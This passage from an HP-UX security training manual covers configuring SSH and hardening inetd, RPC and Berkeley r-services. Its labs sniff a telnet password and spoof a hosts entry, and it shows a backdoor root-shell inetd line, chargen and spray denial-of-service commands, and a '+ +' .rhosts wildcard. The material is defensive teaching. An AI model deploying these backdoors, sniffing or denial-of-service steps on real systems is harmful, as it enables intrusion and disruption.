http://www.openssh.org. The SSH protocol is so widely used that HP now offers a
precompiled version of OpenSSH (Bundle T1471AA) on http://software.hp.com.

A free Windows SSH client called PuTTY is available from

http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html. It is
less than half a megabyte in size, has good support for the graphic character set, and has
built-in socks firewall support (it will even proxy an ssh session through an http proxy).
Some commercial terminal emulators such as Reflections offer SSH support, too.

SSH is intended primarily to provide secure, authenticated, and encrypted replacements for
the unsecured ftp, telnet, and Berkeley service commands. SSH “tunneling” allows other
applications to utilize the secure communication channel that SSH affords, too.

SSH is easy to configure and manage, and is a very popular remote UNIX login/file transfer
alternative.

This remaining slides in this chapter explain how to configure and use SSH.

IPSec
IPSec is also based on an IETF standard, and is available as an HP supported product
(Bundles J4255AA and J4256AA ) from http://software.hp.com.

While SSH is designed primarily to secure remote logins and file transfer, IPSec may be used
to encrypt and authenticate TCP/IP traffic to and from any network service, as it is integrated
directly into the TCP/IP stack. IPSec is certainly more flexible than SSH, but it is more
complicated to configure and manage.

IPSec is best-suited for organizations that intend to implement a comprehensive Public Key
Infrastructure (PKI).

Kerberos
Kerberos, like IPSec and SSH, provides encrypted and authenticated communication between
hosts. HP offers both Kerberos server and client products (Bundles J5849AA and T1417AA)
on http://software.hp.com. HP-UX includes “kerberized” replacements for telnet
and some other common network services. Developers can secure other applications, too, by
integrating Kerberos libraries in their course code.

In addition to basic encryption and authentication, Kerberos provides a centralized user

account database, access control lists, and much more.

A complex infrastructure is required to support Kerberos, which makes it challenging to

deploy.

H3541S D.02 12-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–12. SLIDE: Configuring SSH Basic Authentication and

Encryption

Configuring SSH Basic Authentication and

Encryption
1. Download and install bundle T1471AA from http://software.hp.com

2. Verify that the SSH control variable is enabled:

# grep SSHD_START /etc/rc.config.d/sshd

3. Verify that the sshd daemon is running:

# ps –ef | grep /opt/ssh/sbin/sshd

4. Verify that the SSH daemon is listening for connections:

# netstat –an | grep 22

5. If desired, edit the SSH configuration files:

# vi /etc/opt/ssh/sshd_config
# vi /etc/opt/ssh/ssh_config

6. Verify the public/private host keys:

# ll /etc/opt/ssh/
-rw------- 1 root sys 887 May 1 13:41 ssh_host_rsa_key
-rw-r--r-- 1 root sys 222 May 1 13:41 ssh_host_rsa_key.pub

Student Notes
Several steps are required to install and configure SSH.
1. Download and install bundle T1471AA from http://software.hp.com. This should
install the SSH software, create public and private keys for your host, and launch the
sshd daemon.

2. Verify that the SSH control variable is enabled. If SSHD_START is set to 1, the daemon
will restart automatically during every system reboot.

# grep SSHD_START /etc/rc.config.d/sshd

3. Verify that the sshd daemon is running. The daemon should have been started
automatically by swinstall.

# ps –ef | grep /opt/ssh/sbin/sshd

http://education.hp.com 12-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

4. Verify that the SSH daemon is listening for connections. The daemon typically listens on
port#22.

# netstat –an | grep 22

5. If desired, edit the SSH configuration files. We will tweak one of the variables in the
sshd_config file on the next slide. To learn more about the available options, view the
files’ man pages.

# vi /etc/opt/ssh/sshd_config
# vi /etc/opt/ssh/ssh_config

6. Verify the public/private host keys. Public and private keys should have been created
automatically during the software install process. By default, your host’s keys are stored
in /etc/opt/ssh/. Since SSH supports several different encryption and authentication
algorithms, you will probably see multiple key files in the directory. In each case, the
.pub file is the public key, while the similarly named file without a .pub extension
contains the associated private key.

# ll /etc/opt/ssh/
-rw------- 1 root sys 887 May 1 13:41 ssh_host_rsa_key
-rw-r--r-- 1 root sys 222 May 1 13:41 ssh_host_rsa_key.pub

H3541S D.02 12-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–13. SLIDE: Configuring SSH Client/User Authentication

Configuring SSH Client/User Authentication

1. On each client, create a public/private key pair for your user account:
client$ ssh-keygen –t dsa
client$ ll ~user1/.ssh/id_dsa.pub
client$ cat ~user1/.ssh/id_dsa.pub

2. Copy the client’s id_dsa.pub public key file to the SSH server.

3. Create a ~user/.ssh/authorized_keys file on the server to store clients’ public keys:

server$ touch ~user/.ssh/authorized_keys
server$ chown user ~user/.ssh/authorized_keys
server$ chmod 644 ~user/.ssh/authorized_keys

4. Append each authorized client’s public key to authorized_keys

server$ cat id_dsa.pub >>~user/.ssh/authorized_keys

5. Enforce public key client authentication on the server:

server# su -
server# vi /etc/opt/ssh/sshd_config
PasswordAuthentication no
server# /sbin/init.d/secsh stop
server# /sbin/init.d/secsh start

Student Notes
After you install the SSH software as described on the previous slide, you can begin accessing
other hosts via SSH, and they can begin accessing your system. When an SSH client connects
to a server, the client uses public key encryption to authenticate the server and establish a
symmetric encryption key that can be used for the remainder of the session.

Once the secure channel of communication is established, the SSH server determines
whether the client user is allowed to access the system. SSH supports several different
authentication mechanisms. By default, SSH uses the standard UNIX password mechanism
to authenticate the user. If the user enters a valid username and password, the connection
proceeds. If UNIX password authentication is sufficient for your environment, then no
additional configuration is required.

The ~/.rhosts and /etc/hosts.equiv files that provide password free access to the
Berkeley services also provide password-free access to SSH. However, because the Berkeley
services have a variety of security vulnerabilities, it is better to configure the ~/.shosts and
/etc/shosts.equiv files instead. The ~/.shosts syntax is identical to ~/.rhosts, and
/etc/shosts.equiv is identical to /etc/hosts.equiv.

http://education.hp.com 12-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

For best security, though, you should use public key user authentication to authenticate
users. Several steps are required.
1. On each client, create a public/private DSA key pair for your user account. ssh-keygen
will prompt for a pass phrase, which will be used to encrypt the file containing your
private key. If you enter a pass phrase, then every time you use that account on the client
to connect to an SSH server, you will have to enter the pass phrase. Thus, even if another
user manages to hijack your private key file, they would have to know your passphrase in
order to access an SSH server using your identity.

client$ ssh-keygen –t dsa

client$ ll ~user1/.ssh/id_dsa.pub
client$ cat ~user1/.ssh/id_dsa.pub

2. Copy the client’s id_dsa.pub public key file to the SSH server.

3. Create a ~user/.ssh/authorized_keys file in your ~user/.ssh directory on the

server to store authorized clients’ public keys. If the ~user/.ssh directory doesn’t
exist, create it with the mkdir command and chmod it to 700. Only users whose public
keys are recorded in this file will have access to your account on the SSH server.

server$ touch ~user/.ssh/authorized_keys

server$ chown user ~user/.ssh/authorized_keys
server$ chmod 644 ~user/.ssh/authorized_keys

4. Append each authorized client’s public key to the authorized_keys file. One at a time,
append each authorized client user’s public key file to the authorized_keys file.

server$ cat id_dsa.pub >>~user/.ssh/authorized_keys

5. Once the authorized_keys file has been created on the server, client users that have
public keys on file in your ~user/.ssh/authorized_keys file will be able to login on
the server without entering a password. By default, if an unauthorized user attempts to
ssh to your account on the server, he or she will be prompted for a UNIX password. If
the user enters a valid password, the user will be allowed to login.

If you want to ensure that every user that accesses the server remotely via ssh is public-
key authenticated, you can change a variable in the sshd_config file.

server# vi /etc/opt/ssh/sshd_config
PasswordAuthentication no
server# /sbin/init.d/secsh stop
server# /sbin/init.d/secsh start

H3541S D.02 12-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–14. SLIDE: Using the SSH Clients

Using the SSH Clients

• Initiate an interactive SSH login session (similar to rlogin):

# ssh user@server

• Initiate a non-interactive SSH login session (similar to remsh):

# ssh user@server “who”

• Initiate an interactive SSH file transfer (similar to ftp):

# sftp user@server
> help
> put /tmp/myfile
> get /tmp/myfile
> quit

• Initiate a non-interactive SSH file transfer (similar to rcp):

# scp /tmp/myfile user@server:/tmp/myfile

Student Notes
SSH includes secure replacements for the telnet, ftp, rcp, remsh, and rlogin. Here are
some sample commands:

Initiate an interactive SSH login session (similar to rlogin).

# ssh user@server

Initiate a non-interactive SSH login session (similar to remsh). As soon as the who
command terminates, the session terminates, too.

# ssh user@server “who”

http://education.hp.com 12-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

Initiate an interactive SSH file transfer (similar to ftp). sftp supports many, but not all of
the normal UNIX ftp client commands such as put, get, and ls. Type help for a list of
supported commands.

# sftp user@server
> help
> put /tmp/myfile
> get /tmp/myfile
> quit

Initiate a non-interactive SSH file transfer (similar to rcp). As soon as the file transfer
completes, SSH closes the connection.

# scp /tmp/myfile user@server:/tmp/myfile

H3541S D.02 12-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

12–15. LAB: Experimenting with SSH Encryption and

Authentication

Part I: Exploring TCP/IP Vulnerabilities with nettl

Earlier in this chapter you learned that hackers may easily obtain usernames and passwords
by eavesdropping on network packets via a network sniffer. During this lab exercise, you
will use the nettl utility, which is included in a standard load of HP-UX, to eavesdrop on a
user's telnet session and obtain a username and password.
1. nettl generates quite a bit of output. Create a .netfmtrc file to filter the contents of
the trace file to a more manageable size. Since we are only interested in the packets sent
to your neighbor's telnet daemon, filter out all packets except those destined to your
neighbor's IP address, port #23 (the well-known telnet port).

# vi ~/.netfmtrc
filter tcp_dport 23
filter ip_daddr X.X.X.X Enter your neighbor's IP address here

2. Open a second window, and enable network tracing with the nettl command. Pipe the
nettl command output to netfmt to format the output.

# nettl -traceon pduin pduout -e ns_ls_tcp | \

netfmt –N | \
grep “0: “ &

3. While network tracing continues to run in the second window, return to your original
window, telnet to the system next to you, login as user1, execute a couple commands,
then logout.

# telnet neighborhost
login: user1
password: xxxxx
# ll
# who
# exit

4. What did you see in the nettl window? Can you tell what user account and password
were used? Can you tell what commands were executed?

Answer:

5. Turn off network tracing and close the second window.

# nettl –traceoff –e all

http://education.hp.com 12-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

Part II: Installing Secure Shell to Improve TCP/IP Security

In the first part of the lab exercise, you discovered how dangerous it is to send passwords
and other sensitive information across an Ethernet/TCP/IP network. In order to overcome
these vulnerabilities, you must configure some sort of mechanism for (1) encrypting IP data
packets and (2) authenticating hosts to avoid IP spoofing. In this part of the lab exercise, you
will configure the "Secure Shell" (SSH) product to address both of these issues. The ssh
protocol that is implemented by the SSH product has become a de-facto
encryption/authentication standard for remote logins and file transfer. A pre-compiled
version of SSH is available from HP’s http://software.hp.com. HP’s product is based
on the open source version of SSH available from http://www.openssh.org.
1. Verify that the SSH product is installed on your system. If not, the product may be
downloaded for free from http://software.hp.com.

# swlist T1471AA

2. Verify that the SSH server daemon is running on your system. If not, it can be enabled in
/etc/rc.config.d/sshd, and started via the /sbin/init.d/secsh startup script.

# ps –ef | grep sshd

3. Verify that the SSH daemon is listening for incoming connection requests. Normally, SSH
receives connections on port number 22.

# netstat –an | grep 22

4. If the preceding tests succeeded, then your system is ready to accept SSH connection
requests!

H3541S D.02 12-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

Part III: Testing SSH Authentication

For this part of the lab, you need to work with a partner. Choose one host to be your SSH
server, and one to be your SSH client. If you wish, you can swap roles and try this part of the
lab a second time so you both get to experience both roles.

Server hostname: _________________

Client hostname: _________________

1. When you install the SSH product, swinstall automatically creates DSA and RSA
public/private key pairs that will be used for authentication. View the RSA keys that were
created for your host. Can you explain why the permissions on the two files are
different?

server# ll /etc/opt/ssh/*
server# cat /etc/opt/ssh/ssh_host_rsa_key
server# cat /etc/opt/ssh/ssh_host_rsa_key.pub

client# ll /etc/opt/ssh/*
client# cat /etc/opt/ssh/ssh_host_rsa_key
client# cat /etc/opt/ssh/ssh_host_rsa_key.pub

Answer:

2. From the client host, initiate an ssh connection to the server and login as user1.

client# ssh user1@server

3. The first time you connect to a new SSH server, SSH warns that the authenticity of the
server can’t be established since the client doesn’t have a copy of the server’s public key.
When asked if you wish to continue, answer yes. SSH will download a copy of the public
key for you. The client will also be prompted for a valid password on the destination
system, just as they would during a normal telnet session. After successfully
connecting, execute a few commands, then log out.
The authenticity of host ‘server (10.1.1.1)' can't be
established. RSA key fingerprint is
21:73:6d:98:ba:94:20:8c:6b:21:5f:c2:6c:49:44:f7.
Are you sure you want to continue connecting (yes/no)? yes
user1@myserver's password: ******
$ hostname
$ id
$ exit

http://education.hp.com 12-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

4. Clients store server keys, one per line, in a file called ~/.ssh/known_hosts. Compare
the client's copy of the server's public key with the ssh_host_rsa_key.pub file stored
on the server. Do the keys match? They should be identical!

client# grep server ~/.ssh/known_hosts

server# cat /etc/opt/ssh/ssh_host_rsa_key.pub

5. Initiate another SSH connection request from the client to the server. This time, does
SSH generate the "Authenticity can’t be established” message? Explain! After logging in,
log right back out again.

client# ssh server

client# exit

6. Hackers sometimes use "spoofing" to trick a client into connecting to the hacker's server
rather than the client's "real" server. A hacker might accomplish this by modifying the
server's entry on a DNS server. Your host probably isn't using DNS to resolve hostnames,
so we will try a somewhat different approach. Find the server's entry in the client's
/etc/hosts file, and replace the "real" server's IP address with your instructor's IP
address.

client# vi /etc/hosts

7. Verify that your instructor has configured his or her host as an SSH server before
proceeding.

8. What happens now when the client attempts to rlogin to the server as user1? If the
connection succeeds, log back out again.

client# rlogin server –l user1

client# exit

Answer:

9. The rlogin attempt should have succeeded! The client user initiated the rlogin to
hostname server. Who are you really connected to, though? Use the hostname
command to find out! Then log out of the rlogin session.

$ hostname
$ exit

10. Will SSH fall victim to the spoof as easily as rlogin? Try it! Can you explain the result?

client# ssh user1@server

Answer:

H3541S D.02 12-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

11. Before proceeding to the next part of the lab, return the client's /etc/hosts server
entry to its original state.

# vi /etc/hosts

Part IV: Using the SSH Client Utilities

So far we have experimented with the ssh client utility, but SSH includes other client
utilities, too, that serve as replacements for rcp, remsh, rlogin, and ftp.
1. First, cd to /tmp on your localhost and create a file whose filename is your first name.

Answer:

2. Connect to your partner’s system as user1, using sftp.

Answer:

3. Use the help command to view a list of the functions supported by sftp. Which
command can you use to copy the file you created in the first question to user1’s home
directory? Make it so! Which command can you use to verify that the file was created?
Make it so!

Answer:

4. Quit out of your sftp session.

Answer:

5. The scp command provides an even more convenient mechanism for copying files to and
from other systems. Use this command to copy the file you created in the first step to the
/tmp directory on your neighbor’s host. What advantage does this hold over sftp?

Answer:

http://education.hp.com 12-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

6. In the previous part of the lab, we used the ssh command to initiate an interactive login
on the SSH server. How can you execute a single command on the server without
initiating an interactive login session? Use the ssh command to execute the ls /tmp
command on your neighbor’s host without initiating a full login session.

Answer:

Part V: (Optional) Configuring User Authentication

In the previous part of the lab, you learned how to use SSH to transfer files and execute
commands on remote systems via SSH. However, each time you ran a command, you had to
enter a user password. SSH is even more secure, and offers even greater flexibility when you
configure public key user authentication. For this part of the lab, work with your neighbor to
configure one host as an SSH server, and one host as an SSH client.
1. Login as user1 on the client. Use the login or telnet command, NOT su.

client# login user1

2. While logged in as user1 on the client, run the ssh-keygen program to generate a
public/private DSA key pair for the user. Don’t configure a passphrase. Verify that the
keys were created in ~user1/.ssh.

client$ ssh-keygen –t dsa

client$ ll ~user1/.ssh/id_dsa.pub
client$ cat ~user1/.ssh/id_dsa.pub

3. Use the scp command to transfer the public key file to the /tmp directory on the server.

client$ scp ~user1/.ssh/id_dsa.pub server:/tmp/id_dsa.pub

4. Login on the server as user1.

server# login user1

5. Create a file called ~user1/.ssh/authorized_keys. Also change the permissions on

this file to 644 and ensure that user1 owns the file. This file will store the public keys of
all the remote users that should be granted ssh access to the user1 account on the
server.

server$ touch ~user1/.ssh/authorized_keys

server$ chown user1 ~user1/.ssh/authorized_keys
server$ chmod 644 ~user1/.ssh/authorized_keys

H3541S D.02 12-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

6. Append the contents of the user1@client id_dsa.pub file to

~user1/.ssh/authorized_keys file on the server. If you wanted to allow other
users from other hosts to access the user1 account on the server via SSH, you would have
to append their public keys to the authorized_keys file, too.

server$ cat /tmp/id_dsa.pub >> ~user1/.ssh/authorized_keys

7. Now see what happens if user1@client attempts to ssh to user1@server. What is

different this time?

client$ ssh user1@server

client$ exit

Answer :

8. Login as user2@client and attempt to ssh to user1@server. What happens?

client$ su – user2
client$ ssh user1@server
client$ exit

Answer:

9. For improved security, you may want to avoid UNIX password authentication entirely,
and only allow access to remote users whose public keys are included in your
authorized_keys file. In order to do this, you will have to edit the
PasswordAuthentication variable in the /etc/opt/ssh/sshd_config file on the
server, and restart the sshd daemon. Note that you must be logged in as root to modify
this file.

server# su -
server# vi /etc/opt/ssh/sshd_config
PasswordAuthentication no
server# /sbin/init.d/secsh stop
server# /sbin/init.d/secsh start

10. From user2@client, try to ssh to user1@server. What happens?

client$ su – user2
client$ ssh user1@server

Answer:

http://education.hp.com 12-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

11. What would you have to do to allow user2@client password to ssh to

user1@server?

Answer:

12. Exit out of all of your ssh and login sessions.

Part VI: Testing SSH Encryption

Back in Part I, you discovered that the telnet command passes cleartext passwords across
the network that can be easily "sniffed" using the nettl utility. In this part of the lab, you
will "sniff" an SSH connection to see if SSH suffers from the same vulnerabilities that plague
telnet. Both the client and server may try the steps suggested in this part of the lab.
1. SSH uses port number 22 rather than telnet port 23. Modify your .netfmtrc file
accordingly.

# vi ~/.netfmtrc
filter tcp_dport 22
filter ip_daddr X.X.X.X Enter your neighbor's IP address here

2. Open a second window, and enable network tracing with the nettl command. Pipe the
nettl command output to netfmt to format the output.

# nettl -traceon pduin pduout -e ns_ls_tcp | \

netfmt –N | \
grep “0: “ &

3. While network tracing continues to run in the second window, return to your original
window, ssh to the system next to you, login as user1, execute a couple commands, then
logout.

# ssh user1@neighborhost
login: user1
password: xxxxx
# ll
# who
# exit

4. What did you see in the nettl window? Can you tell what user account and password
were used? Can you tell what commands were executed?

Answer:

H3541S D.02 12-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

5. Turn off network tracing and close the second window.

# nettl –traceoff –e all

http://education.hp.com 12-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 12
How the Hacker Exploits TCP/IP Vulnerabilities

H3541S D.02 12-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 13  How the Hacker Exploits Internet
Service Vulnerabilities
Objectives
Upon completion of this module, you will be able to do the following:
• Configure and use the built-in inetd security features.

• Configure and use Tcpwrapper security features.

• Improve security by disabling the built-in inetd services.

• Improve security by disabling the RPC services.

• Improve security by disabling other common inetd services.

• Improve Berkeley service security.

• Improve FTP security.

• Improve anonymous FTP security.

• Improve guest FTP security.

• Configure /etc/ftpd/ftpaccess security features.

• Use lsof, find, and grep to identify and disable other network services on your host.

http://education.hp.com 13-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–1. SLIDE: Perform Unauthorized Activities: Gain Access to

Other Network Systems

Perform Unauthorized Activities: Gain

Access to Other Network Systems

Step 1 Step 2 Step 3 Step 4

Gather Get to Gain user Perform
information a login access to the unauthorized
about the target prompt system activities
system

UNIX
Login:

Gain access
Perform
Monitor and hide Create to other systems
damaging
system activity backdoors on the network
tasks

Student Notes
This chapter is the first of several chapters that discuss network service vulnerabilities that
hackers commonly exploit to gain access to other hosts on a target system’s network.

H3541S D.02 13-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–2. SLIDE: Internet Service Security Overview

Internet Service Security Overview

inetd starts at run level 2 during system boot.

inetd consults /etc/inetd.conf to determine which services to provide.

inetd consults /etc/services to determine which ports to monitor.

inetd receives internet service connection requests from clients.

inetd consults /var/adm/inetd.sec to determine if connection is allowed.

inetd logs the request in /var/adm/syslog/syslog.log (optional).

inetd starts a server process to handle each valid connection request.

Server processes may provide additional security features.

Service may be denied at any step!

Student Notes
The inetd daemon is one of the most important network service daemons on a UNIX
system. The inetd daemon is responsible for starting many of the server-side network
server processes as requests are received from clients. Typical network services managed by
inetd include:

• telnet
• ftp
• rlogin
• remsh
• tftp
• bootp
• and many others!

http://education.hp.com 13-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

The slide above reviews the behavior of this important daemon.

• The inetd daemon starts at run-level 2 during the system boot process.

• inetd consults the /etc/inetd.conf file to determine which services to provide.

• inetd consults the /etc/services file to determine which port number is associated
with each of the services enabled in /etc/inetd.conf.

• After determining which services to provide, and the port number associated with each
service, inetd begins listening for incoming client requests.

• When inetd receives a client request, it checks /var/adm/inetd.sec to determine if

the client is permitted to access the requested service.

• If inetd logging is enabled, inetd logs the connection request to the syslog.log file.

• inetd starts an appropriate server process to handle the client's request., then returns to
listening for additional requests.

• Some server processes may provide additional security features. telnet, for instance,
requires a valid username and password from the user.

H3541S D.02 13-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–3. SLIDE: Securing inetd

Securing inetd

Enable inetd logging in /etc/rc.config.d/netdaemons.

export INETD_ARGS=“-l”

Monitor for changes in /etc/services.

telnet 23/tcp # Virtual Terminal Protocol
finger 79/tcp # Finger
hack 22/tcp # This looks suspicous ...

Comment out unnecessary services in inetd.conf.

telnet stream tcp nowait root /usr/lbin/telnetd telnetd
#finger stream tcp nowait bin /usr/lbin/fingerd fingerd
hack stream tcp nowait root /usr/bin/csh csh -i

Specify which hosts can use each service in /var/adm/inetd.sec.

telnet allow 128.1.*.* 128.2.1-8.* hosta hostb

Student Notes
inetd provides a number of built-in security features.

Enabling inetd logging can significantly improve system security. When connection logging
is enabled, inetd logs all attempts to access the inetd services. This information can be
useful when trying to determine if a hacker is attempting to gain remote access to your
system. Type inetd -l to enable connection logging.

Hackers sometimes add unauthorized services in the /etc/services file. Watch for
unauthorized changes in this critical configuration file.

Every network service that you enable introduces new potential vulnerabilities that hackers
may be able to exploit. Take a close look at your /etc/inetd.conf file and comment out all
non-critical services. Don't forget to restart inetd with the inetd -c command any time you
modify this file.

http://education.hp.com 13-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

The /var/adm/inetd.sec file can be used to explicitly allow or deny access to individual
clients and services. If allow permission is specified, the systems included in the allow list are
allowed access, and all other systems are denied access. If deny permission is specified, then
the systems included in the deny list are denied access, and all other hosts are allowed access.

H3541S D.02 13-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–4. SLIDE: Securing the inetd Internal Services

Securing the inetd Internal Services

I’ll send repeated chargen requests

to overload the inetd daemon!

Disable the inetd “internal” services to avoid denial-of-service attacks.

#daytime stream tcp nowait root internal
#daytime dgram udp nowait root internal
#time stream tcp nowait root internal
#time dgram udp nowait root internal
#echo stream tcp nowait root internal
#echo dgram udp nowait root internal
#discard stream tcp nowait root internal
#discard dgram udp nowait root internal
#chargen stream tcp nowait root internal
#chargen dgram udp nowait root internal

Student Notes
This slide shows some of the first inetd services you should consider disabling. These
services are handled internally by inetd, and are primarily used for troubleshooting. The
chargen service, for example, simply generates an infinite, repeating sequence of ASCII
characters which could be used to test the reliability of a network connection. However, an
opportunistic hacker may launch multiple chargen connection requests against a target host
as part of a denial-of-service attack:

# telnet target.com chargen

The other internal services pose similar dangers. Since these services constitute a possible
security risk and are rarely used by legitimate users, they should probably be disabled.

http://education.hp.com 13-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–5. SLIDE: Securing the inetd RPC Services

Securing the inetd RPC Services

Verify that the RPC services in inetd.conf are disabled!

Service Purpose
rpc.rexd Execute commands on a remote host
rpc.rstatd Check uptime on a remote host

rpc.rusers Determine who is logged in on a remote host

rpc.rwalld Broadcast a message to all users on a remote host

rpc.sprayd Send multiple test RPC packets to a remote host

Hmmm ... How can I take advantage of these RPC services?

Student Notes
The remote procedure call entries in the /etc/inetd.conf file provide several useful
services for system administrators. Unfortunately, the RPC services are equally valuable to
hackers!

rpc.rexd
rpc.rexd allows users (or hackers!) to execute commands on remote systems, much like
the remshd server process. There is one important difference between rpc.rexd and
remshd, though: rpc.rexd automatically NFS mounts the requesting user's home directory
from the client host. The example below uses rpc.rexd to execute the bdf command on
remote target.com:

$ on target.com bdf

H3541S D.02 13-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

Since rexd doesn’t require a password from the requesting user, this service should always
be disabled.

rpc.rstatd
rpc.rstatd allows users to view a remote system's uptime and load information. The
example below uses the rpc.statd daemon to view load and user login information for
two hosts, target.com:

$ rup target.com

This information may assist a hacker in determining what a target server is used for when,
and when the system may be most vulnerable.

rpc.rusers
rpc.rusersd displays a list of users currently logged into a remote system. Clients may
contact a server's rpc.rusersd daemon via the rusers command. The example below lists
the users currently logged into target.com:

$ rusers target.com

Hackers may use this information to determine how carefully a host is managed, and perhaps
identify little-used or dormant accounts.

rpc.rwalld
Administrators use the rwall command to broadcast messages to NFS clients before
shutting down an NFS server:

# rwall target.com
Taking the NFS server down in 10 minutes ... please log out.

Since the daemon accepts broadcasts from any host, malicious hackers may use rwall to
send bogus messages to unsuspecting clients.

rpc.sprayd
The spray utility is designed for load testing NFS servers by "spraying" a stream of RPC
request packets at a server. The rpc.sprayd daemon on the server responds back with
summary statistics indicating the number of packets lost in transit: The example below
sprays target.com with 10000 RPC packets:

# spray -c 10000 target.com

Hackers may use the spray utility for denial of service attacks on NFS servers.

Conclusion
All of these services provide useful functionality for administrators, but may be easily abused
by hackers. For this reason, all five inetd RPC services are disabled by default in HP-UX. If
you do decide to enable these services in /etc/inetd.conf, use /var/adm/inetd.sec
to specify which hosts should be granted access.

http://education.hp.com 13-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–6. SLIDE: Berkeley Service Security Issue #1

Berkeley Service Security Issue #1

The syntax in ~/.rhosts is so target.com’s administrator

complicated ... I’ll just use a has a “+ +” .rhosts entry.
simple “+ +” entry. That means anyone can log
into the root account from
any host without requiring a
password!
target.com

Student Notes
The Berkeley trusted hosts programs, also known as “r” services, make it possible to grant
password-free access to your account to one or more client hosts. The rlogin, remsh, and
rcp commands all take advantage of this functionality to allow users with accounts on
multiple systems to easily execute commands and pass files between hosts.

Configuring /etc/hosts.equiv
Two files determine which users and clients are granted password-free Berkeley service
access. The /etc/hosts.equiv file is maintained by the system administrator to provide
password-free access to all users on a client system. Consider the following sample
/etc/hosts.equiv entries:

# vi /etc/hosts.equiv
clienta
clientb user1
clientb user2
+ +

H3541S D.02 13-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

The first line allows password free access for all users on clienta, assuming they have
similarly named accounts on this host.

The second line allows password-free access for user1 from clientb to user1's account on this
host.

The third line allows password-free access for user2 from clientb to user2's account on this
host.

The "+" signs in the last line serve as wildcard characters. This particular example allows all
other users on all other hosts to access their accounts on this host without providing a
password. This configuration is not recommended!

Configuring ~/.rhosts
An individual user may supplement the /etc/hosts.equiv file with a personal
~/.rhosts file. Consider the following sample ~/.rhosts file in root's home directory:

$ vi ~root/.rhosts
clienta
clientb user1
clientb user2
clientc +

The first line in this sample file grants the administrator on clienta password free access to
the root account on this system.

The second and third lines allow password-free access for user1 and user2 on clientb.

The third line allows password-free access to this system's root account for all users on
clientc. This configuration is not recommended! Worse yet, some users put a "+ + " in their
~/.rhosts file, which allows password-free access to their account for any user on any
client system!

In the example on the slide. The administrator has carelessly added a "+ +" entry to the
~root/.rhosts file on target.com, allowing any hacker anywhere on the Internet to gain
root access on target.com without entering a password! Needless to say, this is very
dangerous!

http://education.hp.com 13-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–7. SLIDE: Berkeley Services Security Issue #2

Berkeley Services Security Issue #2

I trust the root user on Beware! The trust implied by

target1. I won’t require a ~/.rhosts and /etc/hosts.equiv
password when target1’s root is transitive.
logs in using rlogin.

target2 target1

~root/.rhosts
target1 root
Now that I’ve hacked into
target1, target2’s .rhosts
will let me rlogin there
without a password!

Student Notes
Even if the ~/.rhosts file is configured properly, Berkeley service trust relationships can
be dangerous.

The example on the slide demonstrates that a security breach on one system can quickly
compromise other hosts on the network, too. target2’s administrator’s ~/.rhosts file
allows password free access to target1’s administrator. Because of this trust, any hacker that
compromises target1 will immediately be able to access target2 as well!

Furthermore, since the Berkeley services authenticate packets based on their source IP
addresses, the Berkeley services easily fall prey to IP spoofing attacks.

If possible, avoid Berkeley service trust relationships!

H3541S D.02 13-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 13
How the Hacker Exploits Internet Service Vulnerabilities

13–8. SLIDE: Securing the Berkeley Services

Securing the Berkeley Services

Verify that users don’t have “+” signs in their ~/.rhosts.

# grep “+” /home/*/.rhosts

Verify that users’ ~/.rhosts have 600 permissions.

